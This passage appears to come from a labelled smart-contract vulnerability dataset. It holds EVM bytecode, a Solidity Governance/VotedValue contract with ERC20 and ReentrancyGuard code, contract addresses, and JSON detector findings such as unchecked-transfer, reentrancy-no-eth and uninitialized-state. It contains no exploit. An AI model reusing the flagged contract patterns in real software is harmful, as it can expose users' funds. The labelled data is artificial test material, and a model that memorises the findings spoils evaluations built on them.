fffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515612e0057600080fd5b5af11515612e0d57600080fd5b50505060405180519050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612e9b57600080fd5b6000905060008251141515612f2a57816000815181101515612eb957fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900490505b612f35818487614866565b5050505050565b8073b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc17909160016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b1515612fb157600080fd5b5af41515612fbe57600080fd5b505050604051805190501515612fd357600080fd5b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc179091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561308657600080fd5b5af4151561309357600080fd5b5050506040518051905015156130a857600080fd5b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963f4f3bdc19091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561315b57600080fd5b5af4151561316857600080fd5b50505060405180519050601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f9091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561326857600080fd5b5af4151561327557600080fd5b50505060405180519050601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60095481565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661334157600260008360ff1660ff16815260200190815260200160002060040154613344565b60005b90503473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc179091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15156133ba57600080fd5b5af415156133c757600080fd5b5050506040518051905015156133dc57600080fd5b3473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963dcf6a5929091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561345057600080fd5b5af4151561345d57600080fd5b5050506040518051905015613537573373ffffffffffffffffffffffffffffffffffffffff166108fc3473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963f4f3bdc19091856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15156134fa57600080fd5b5af4151561350757600080fd5b505050604051805190509081150290604051600060405180830381858888f19350505050151561353657600080fd5b5b6135413383614c90565b5050565b60116020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156135b857600080fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415151561360757600080fd5b61361081614224565b61365981601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546150c4565b50565b6000806000600860008581526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963e9970b6c90916009546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15156136ea57600080fd5b5af415156136f757600080fd5b50505060405180519050151561370c57600080fd5b600160086000868152602001908152602001600020540160020a9250600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508173ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156137e757600080fd5b5af115156137f457600080fd5b5050506040518051905073b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc179091856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561387157600080fd5b5af4151561387e57600080fd5b50505060405180519050151561389357600080fd5b61389d3384612bf5565b6008600085815260200190815260200160002060008154809291906001019190505550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663d54c2a6385600060086000898152602001908152602001600020546040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018381526020018281526020019350505050602060405180830381600087803b151561397757600080fd5b5af1151561398457600080fd5b50505060405180519050151561399957600080fd5b7f2818afeb555b4e5fad1642e74f96c247ff0de07ca6e0bed6fd7aeec2d5cb872b8460086000878152602001908152602001600020548560405180848152602001838152602001828152602001935050505060405180910390a150505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480613aa15750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515613aac57600080fd5b80600260008460ff1660ff16815260200190815260200160002060030160006101000a81548160ff021916908360ff1602179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480613b8d5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515613b9857600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515613c3a57600080fd5b5af11515613c4757600080fd5b505050604051805190501515613c5c57600080fd5b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480613d095750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515613d1457600080fd5b613d1e8282614c90565b5050565b60106020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480613de25750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515613ded57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515613e2957600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b613e7d33826150c4565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613edb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515613f1757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0384899bd253d83b23daa4d29aaa2efe0563d1132b43101e9ad667235aeb951b60405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60036020528060005260406000206000915054906101000a900460ff1681565b60066020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806140b55750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156140c057600080fd5b600081111561416a576001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614208565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b60076020528060005260406000206000915090505481565b600080601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc17909160016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15156142db57600080fd5b5af415156142e857600080fd5b5050506040518051905015156142fd57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163173b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f9091600f546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561438a57600080fd5b5af4151561439757600080fd5b5050506040518051905091508173b5f1efa8a3267cce1aea000dd2cc7a0778aa8299631d3b9edf9091601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561445657600080fd5b5af4151561446357600080fd5b5050506040518051905073b5f1efa8a3267cce1aea000dd2cc7a0778aa829963e39bbf689091600e546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15156144e257600080fd5b5af415156144ef57600080fd5b5050506040518051905073b5f1efa8a3267cce1aea000dd2cc7a0778aa829963f4f3bdc19091601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15156145ab57600080fd5b5af415156145b857600080fd5b505050604051805190509050600081141515156145d457600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163173b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc179091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561465f57600080fd5b5af4151561466c57600080fd5b50505060405180519050151561468157600080fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f9091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561473457600080fd5b5af4151561474157600080fd5b50505060405180519050601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600f5473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f9091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561480457600080fd5b5af4151561481157600080fd5b50505060405180519050600f819055508273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561486157600080fd5b505050565b600080600080600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156148c457600080fd5b859350600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205492508373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156149a357600080fd5b5af115156149b057600080fd5b5050506040518051905091508373ffffffffffffffffffffffffffffffffffffffff166323b872dd8630866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515614a9257600080fd5b5af11515614a9f57600080fd5b50505060405180519050508373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515614b4457600080fd5b5af11515614b5157600080fd5b5050506040518051905090508073b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc1790918473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f9091886040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b1515614bee57600080fd5b5af41515614bfb57600080fd5b505050604051805190506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b1515614c5b57600080fd5b5af41515614c6857600080fd5b505050604051805190501515614c7d57600080fd5b614c878588614c90565b50505050505050565b600080600260008460ff1660ff1681526020019081526020016000209150816001015473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963e9970b6c9091846002015473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f90918760030160009054906101000a900460ff166040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1681526020019250505060206040518083038186803b1515614d5b57600080fd5b5af41515614d6857600080fd5b505050604051805190506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b1515614dc857600080fd5b5af41515614dd557600080fd5b505050604051805190501515614dea57600080fd5b816001015473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f90918460030160009054906101000a900460ff166040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1681526020019250505060206040518083038186803b1515614e7657600080fd5b5af41515614e8357600080fd5b505050604051805190508260010181905550816004015473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f909184600501546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b1515614f1157600080fd5b5af41515614f1e57600080fd5b505050604051805190508260040181905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663051cb63085858560030160009054906101000a900460ff166040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018360ff1660ff1681526020018260ff1660ff1681526020019350505050602060405180830381600087803b151561501c57600080fd5b5af1151561502957600080fd5b50505060405180519050507f7c12d07c326e7e7179cf73338029105927aa15cf707eb2bd4d3842a2a3af69c3838360030160009054906101000a900460ff1686604051808460ff1681526020018360ff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a150505050565b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc179091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561517757600080fd5b5af4151561518457600080fd5b50505060405180519050151561519957600080fd5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963f4f3bdc19091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561524c57600080fd5b5af4151561525957600080fd5b50505060405180519050601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e5473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963f4f3bdc19091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561531c57600080fd5b5af4151561532957600080fd5b50505060405180519050600e8190555050505600a165627a7a72305820112f11b212b4e17e899565e1b747a8e755fa9f152c1a1f4b53b07d3a1f9e73e90029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,313
0xdd603Fc2312A0E7Ab01dE2dA83e7776Af406DCeB
// SPDX-License-Identifier: MIT pragma solidity ^0.8.3; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } contract Governance is ReentrancyGuard { uint constant public governance_challenging_period = 10 days; uint constant public governance_freeze_period = 30 days; address public votingTokenAddress; address public governedContractAddress; mapping(address => uint) public balances; VotedValue[] public votedValues; mapping(string => VotedValue) public votedValuesMap; constructor(address _governedContractAddress, address _votingTokenAddress){ init(_governedContractAddress, _votingTokenAddress); } function init(address _governedContractAddress, address _votingTokenAddress) public { require(governedContractAddress == address(0), "governance already initialized"); governedContractAddress = _governedContractAddress; votingTokenAddress = _votingTokenAddress; } function addressBelongsToGovernance(address addr) public view returns (bool) { for (uint i = 0; i < votedValues.length; i++) if (address(votedValues[i]) == addr) return true; return false; } function isUntiedFromAllVotes(address addr) public view returns (bool) { for (uint i = 0; i < votedValues.length; i++) if (votedValues[i].hasVote(addr)) return false; return true; } function addVotedValue(string memory name, VotedValue votedValue) external { require(msg.sender == governedContractAddress, "not authorized"); votedValues.push(votedValue); votedValuesMap[name] = votedValue; } // deposit function deposit(uint amount) payable external { deposit(msg.sender, amount); } function deposit(address from, uint amount) nonReentrant payable public { require(from == msg.sender || addressBelongsToGovernance(msg.sender), "not allowed"); if (votingTokenAddress == address(0)) require(msg.value == amount, "wrong amount received"); else { require(msg.value == 0, "don't send ETH"); require(IERC20(votingTokenAddress).transferFrom(from, address(this), amount), "failed to pull gov deposit"); } balances[from] += amount; } // withdrawal functions function withdraw() external { withdraw(balances[msg.sender]); } function withdraw(uint amount) nonReentrant public { require(amount > 0, "zero withdrawal requested"); require(amount <= balances[msg.sender], "not enough balance"); require(isUntiedFromAllVotes(msg.sender), "some votes not removed yet"); balances[msg.sender] -= amount; if (votingTokenAddress == address(0)) payable(msg.sender).transfer(amount); else require(IERC20(votingTokenAddress).transfer(msg.sender, amount), "failed to withdraw gov deposit"); } } abstract contract VotedValue is ReentrancyGuard { Governance public governance; uint public challenging_period_start_ts; mapping(address => bool) public hasVote; constructor(Governance _governance){ governance = _governance; } function checkVoteChangeLock() view public { require(challenging_period_start_ts + governance.governance_challenging_period() + governance.governance_freeze_period() < block.timestamp, "you cannot change your vote yet"); } function checkChallengingPeriodExpiry() view public { require(block.timestamp > challenging_period_start_ts + governance.governance_challenging_period(), "challenging period not expired yet"); } }
0x6080604052600436106100e85760003560e01c8063623148331161008a578063d3455bbf11610059578063d3455bbf14610281578063db9f780d146102a1578063e643d883146102c1578063f09a4016146102e157600080fd5b80636231483314610220578063ab49d22014610237578063b6b55f251461024e578063c219c28c1461026157600080fd5b806331863698116100c6578063318636981461016f5780633ccfd60b146101c857806340a508c0146101dd57806347e7ef241461020d57600080fd5b80631beab6f9146100ed57806327e235e31461010f5780632e1a7d4d1461014f575b600080fd5b3480156100f957600080fd5b5061010d610108366004610c4d565b610301565b005b34801561011b57600080fd5b5061013c61012a366004610b65565b60036020526000908152604090205481565b6040519081526020015b60405180910390f35b34801561015b57600080fd5b5061010d61016a366004610c94565b6103e2565b34801561017b57600080fd5b506101b061018a366004610c10565b80516020818301810180516005825292820191909301209152546001600160a01b031681565b6040516001600160a01b039091168152602001610146565b3480156101d457600080fd5b5061010d61066f565b3480156101e957600080fd5b506101fd6101f8366004610b65565b61068a565b6040519015158152602001610146565b61010d61021b366004610bc2565b6106f4565b34801561022c57600080fd5b5061013c620d2f0081565b34801561024357600080fd5b5061013c62278d0081565b61010d61025c366004610c94565b61094a565b34801561026d57600080fd5b506001546101b0906001600160a01b031681565b34801561028d57600080fd5b506101fd61029c366004610b65565b610957565b3480156102ad57600080fd5b506002546101b0906001600160a01b031681565b3480156102cd57600080fd5b506101b06102dc366004610c94565b610a27565b3480156102ed57600080fd5b5061010d6102fc366004610b89565b610a51565b6002546001600160a01b031633146103515760405162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b60448201526064015b60405180910390fd5b600480546001810182556000919091527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b0180546001600160a01b0319166001600160a01b03831617905560405181906005906103af908590610cad565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790555050565b600260005414156104355760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610348565b6002600055806104875760405162461bcd60e51b815260206004820152601960248201527f7a65726f207769746864726177616c20726571756573746564000000000000006044820152606401610348565b336000908152600360205260409020548111156104db5760405162461bcd60e51b81526020600482015260126024820152716e6f7420656e6f7567682062616c616e636560701b6044820152606401610348565b6104e433610957565b6105305760405162461bcd60e51b815260206004820152601a60248201527f736f6d6520766f746573206e6f742072656d6f766564207965740000000000006044820152606401610348565b336000908152600360205260408120805483929061054f908490610d00565b90915550506001546001600160a01b031661059757604051339082156108fc029083906000818181858888f19350505050158015610591573d6000803e3d6000fd5b50610667565b60015460405163a9059cbb60e01b8152336004820152602481018390526001600160a01b039091169063a9059cbb90604401602060405180830381600087803b1580156105e357600080fd5b505af11580156105f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061b9190610bee565b6106675760405162461bcd60e51b815260206004820152601e60248201527f6661696c656420746f20776974686472617720676f76206465706f73697400006044820152606401610348565b506001600055565b33600090815260036020526040902054610688906103e2565b565b6000805b6004548110156106eb57826001600160a01b0316600482815481106106b5576106b5610d48565b6000918252602090912001546001600160a01b031614156106d95750600192915050565b806106e381610d17565b91505061068e565b50600092915050565b600260005414156107475760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610348565b60026000556001600160a01b03821633148061076757506107673361068a565b6107a15760405162461bcd60e51b815260206004820152600b60248201526a1b9bdd08185b1b1bddd95960aa1b6044820152606401610348565b6001546001600160a01b03166107fd578034146107f85760405162461bcd60e51b81526020600482015260156024820152741ddc9bdb99c8185b5bdd5b9d081c9958d95a5d9959605a1b6044820152606401610348565b610914565b341561083c5760405162461bcd60e51b815260206004820152600e60248201526d0c8dedc4ee840e6cadcc8408aa8960931b6044820152606401610348565b6001546040516323b872dd60e01b81526001600160a01b03848116600483015230602483015260448201849052909116906323b872dd90606401602060405180830381600087803b15801561089057600080fd5b505af11580156108a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c89190610bee565b6109145760405162461bcd60e51b815260206004820152601a60248201527f6661696c656420746f2070756c6c20676f76206465706f7369740000000000006044820152606401610348565b6001600160a01b0382166000908152600360205260408120805483929061093c908490610ce8565b909155505060016000555050565b61095433826106f4565b50565b6000805b600454811015610a1e576004818154811061097857610978610d48565b600091825260209091200154604051631121d84d60e11b81526001600160a01b03858116600483015290911690632243b09a9060240160206040518083038186803b1580156109c657600080fd5b505afa1580156109da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fe9190610bee565b15610a0c5750600092915050565b80610a1681610d17565b91505061095b565b50600192915050565b60048181548110610a3757600080fd5b6000918252602090912001546001600160a01b0316905081565b6002546001600160a01b031615610aaa5760405162461bcd60e51b815260206004820152601e60248201527f676f7665726e616e636520616c726561647920696e697469616c697a656400006044820152606401610348565b600280546001600160a01b039384166001600160a01b03199182161790915560018054929093169116179055565b600082601f830112610ae957600080fd5b813567ffffffffffffffff80821115610b0457610b04610d5e565b604051601f8301601f19908116603f01168101908282118183101715610b2c57610b2c610d5e565b81604052838152866020858801011115610b4557600080fd5b836020870160208301376000602085830101528094505050505092915050565b600060208284031215610b7757600080fd5b8135610b8281610d74565b9392505050565b60008060408385031215610b9c57600080fd5b8235610ba781610d74565b91506020830135610bb781610d74565b809150509250929050565b60008060408385031215610bd557600080fd5b8235610be081610d74565b946020939093013593505050565b600060208284031215610c0057600080fd5b81518015158114610b8257600080fd5b600060208284031215610c2257600080fd5b813567ffffffffffffffff811115610c3957600080fd5b610c4584828501610ad8565b949350505050565b60008060408385031215610c6057600080fd5b823567ffffffffffffffff811115610c7757600080fd5b610c8385828601610ad8565b9250506020830135610bb781610d74565b600060208284031215610ca657600080fd5b5035919050565b6000825160005b81811015610cce5760208186018101518583015201610cb4565b81811115610cdd576000828501525b509190910192915050565b60008219821115610cfb57610cfb610d32565b500190565b600082821015610d1257610d12610d32565b500390565b6000600019821415610d2b57610d2b610d32565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461095457600080fdfea2646970667358221220f413c3196937ccd967e2a7c42d4ec846315b42b06e54057e9a8129736a151cad64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
8,314
0x5b820770bf7e46f036271f465f767d563d4982d9
